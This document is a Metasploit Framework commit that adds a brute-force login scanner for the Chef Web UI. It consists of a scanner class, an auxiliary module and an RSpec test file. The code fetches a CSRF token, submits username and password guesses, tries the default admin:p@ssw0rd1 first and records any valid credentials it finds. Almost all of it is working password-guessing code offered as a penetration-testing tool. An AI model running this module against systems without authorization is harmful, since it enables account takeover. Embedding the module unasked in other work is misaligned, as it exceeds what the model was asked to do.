Add a chef brute force module

bug/bundler_fix
HD Moore 2015-02-17 23:49:57 -06:00
parent 27d5ab45b4
commit 2847507f03
3 changed files with 488 additions and 0 deletions

View File

@ -0,0 +1,144 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
class ChefWebUI < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute session_name
# @return [String] Cookie name for session_id
attr_accessor :session_name
# @!attribute session_id
# @return [String] Cookie value
attr_accessor :session_id
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/users/login')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
end
if res.body.to_s !~ /<title>Chef Server<\/title>/
return "Unexpected HTTP body (is this really Chef WebUI?)"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Save the session ID cookie
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
self.session_name = $1
self.session_id = $2
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(csrf_token, credential)
data = "utf8=%E2%9C%93" # ✓
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&commit=login"
opts = {
'uri' => normalize_uri('/users/login_exec'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
send_request(opts)
end
# Tries to login to Chef WebUI
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
# Obtain a CSRF token first
res = send_request({'uri' => normalize_uri('/users/login')})
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
end
csrf_token = $1
res = try_credential(csrf_token, credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri("/users/#{credential.public}/edit"),
'method' => 'GET',
'headers' => {
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -0,0 +1,162 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/login_scanner/chef_webui'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Chef Web UI Brute Force Utility',
'Description' => %q{
This module attempts to login to Chef Web UI server instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
will also test for the default login (admin:p@ssw0rd1).
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]),
OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']])
], self.class)
end
def init_loginscanner(ip)
@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
# Always try the default first
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')
)
@scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
uri: datastore['TARGETURI'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
framework: framework,
framework_module: self,
)
@scanner.ssl = datastore['SSL']
@scanner.ssl_version = datastore['SSLVERSION']
end
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
#
# main
#
def run_host(ip)
init_loginscanner(ip)
msg = @scanner.check_setup
if msg
print_brute :level => :error, :ip => rhost, :msg => msg
return
end
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}")
bruteforce(ip)
end
end

View File

@ -0,0 +1,182 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/chef_webui'
describe Metasploit::Framework::LoginScanner::ChefWebUI do
subject(:http_scanner) { described_class.new }
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
let(:username) do
'admin'
end
let(:password) do
'password'
end
let(:cred) do
Metasploit::Framework::Credential.new(
paired: true,
public: username,
private: password
)
end
let(:bad_cred) do
Metasploit::Framework::Credential.new(
paired: true,
public: 'bad',
private: 'bad'
)
end
let(:disabled_cred) do
Metasploit::Framework::Credential.new(
paired: true,
public: username_disabled,
private: password_disabled
)
end
let(:res_code) do
200
end
context '#send_request' do
let(:req_opts) do
{'uri'=>'/users/sign_in', 'method'=>'GET'}
end
it 'returns a Rex::Proto::Http::Response object' do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code))
expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response)
end
it 'parses session cookies' do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code))
allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e")
http_scanner.send_request(req_opts)
expect(http_scanner.session_name).to eq("_sandbox_session")
expect(http_scanner.session_id).to eq("c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e")
end
end
context '#try_credential' do
it 'sends a login request to /users/login_exec' do
expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/users/login_exec'))
http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred)
end
it 'sends a login request containing the username and password' do
expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"utf8=%E2%9C%93&authenticity_token=byV12YkMA6NV3zJFqclZjy1JR%2bAZYbCx75gT0dipoAo%3d&name=#{username}&password=#{password}&commit=login"))
http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred)
end
end
context '#try_login' do
let(:login_ok_message) do
'New password for the User'
end
before :each do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req|
if req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') &&
req.opts['data'] &&
req.opts['data'].include?("name=#{username}") &&
req.opts['data'].include?("password=#{password}")
res = Rex::Proto::Http::Response.new(302)
res.headers['Location'] = "/users/#{username}/edit"
res.headers['Set-Cookie'] = '_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e'
res
elsif req.opts['uri'] && req.opts['uri'].include?('/users/login')
res = Rex::Proto::Http::Response.new(200)
res.body = '<input name="authenticity_token" type="hidden" value="byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=" />'
elsif req.opts['uri'] && req.opts['uri'].include?('/users/login_exec')
res = Rex::Proto::Http::Response.new(200)
res.body = 'bad login'
elsif req.opts['uri'] &&
req.opts['uri'].include?("/users/#{username}/edit")
res = Rex::Proto::Http::Response.new(200)
res.body = 'New password for the User'
else
res = Rex::Proto::Http::Response.new(404)
end
res
end
end
it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do
expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end
it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do
expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
end
end
context '#attempt_login' do
context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do
it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError)
expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
end
context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do
it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error)
expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
end
context 'when Rex::Proto::Http::Client#connect raises a EOFError' do
it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError)
expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
end
end
context 'when ChefWebUI' do
let(:login_ok_message) do
'<title>ChefWebUI 2.4 Appliance: User profile</title>'
end
it 'returns a Metasploit::Framework::LoginScanner::Result' do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req|
if req.opts['uri'] && req.opts['uri'].include?('index.php') &&
req.opts['data'] &&
req.opts['data'].include?("name=#{username}") &&
req. opts['data'].include?("password=#{password}")
res = Rex::Proto::Http::Response.new(302)
res.headers['Location'] = 'profile.php'
res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID'
res
elsif req.opts['uri'] && req.opts['uri'].include?('index.php')
res = Rex::Proto::Http::Response.new(200)
res.body = 'bad login'
elsif req.opts['uri'] &&
req.opts['uri'].include?('profile.php')
res = Rex::Proto::Http::Response.new(200)
res.body = 'New password for the User'
else
res = Rex::Proto::Http::Response.new(404)
end
res
end
expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
end
end
end
end